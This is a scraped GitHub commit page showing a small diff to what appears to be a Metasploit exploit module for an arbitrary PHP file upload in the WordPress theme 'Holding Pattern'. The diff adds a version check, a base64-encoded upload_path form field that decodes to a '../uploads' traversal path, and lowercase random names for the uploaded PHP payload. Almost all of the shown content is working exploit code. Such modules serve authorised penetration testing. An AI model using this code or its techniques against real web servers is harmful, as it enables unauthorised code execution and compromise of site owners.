Skip to content

Commit 5660c12

Browse files
committed
Fix problem causing upload to fail on versions 1.2 and 1.3 of theme
1 parent a030179 commit 5660c12

File tree

1 file changed

+6
-1
lines changed

1 file changed

+6
-1
lines changed

modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -43,6 +43,10 @@ def initialize(info = {})
4343
))
4444
end
4545

46+
def check
47+
check_theme_version_from_readme('holding_pattern')
48+
end
49+
4650
def rhost
4751
datastore['RHOST']
4852
end
@@ -60,12 +64,13 @@ def generate_mime_message(payload, payload_name)
6064
target_ip = IPSocket.getaddress(rhost)
6165
field_name = Rex::Text.md5(target_ip)
6266
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{field_name}\"; filename=\"#{payload_name}\"")
67+
data.add_part('Li4vdXBsb2Fkcw==', nil, nil, 'form-data; name="upload_path"')
6368
data
6469
end
6570

6671
def exploit
6772
print_status("#{peer} - Preparing payload...")
68-
payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"
73+
payload_name = "#{Rex::Text.rand_text_alpha_lower(10)}.php"
6974
data = generate_mime_message(payload, payload_name)
7075

7176
print_status("#{peer} - Uploading payload...")

0 commit comments

Comments
 (0)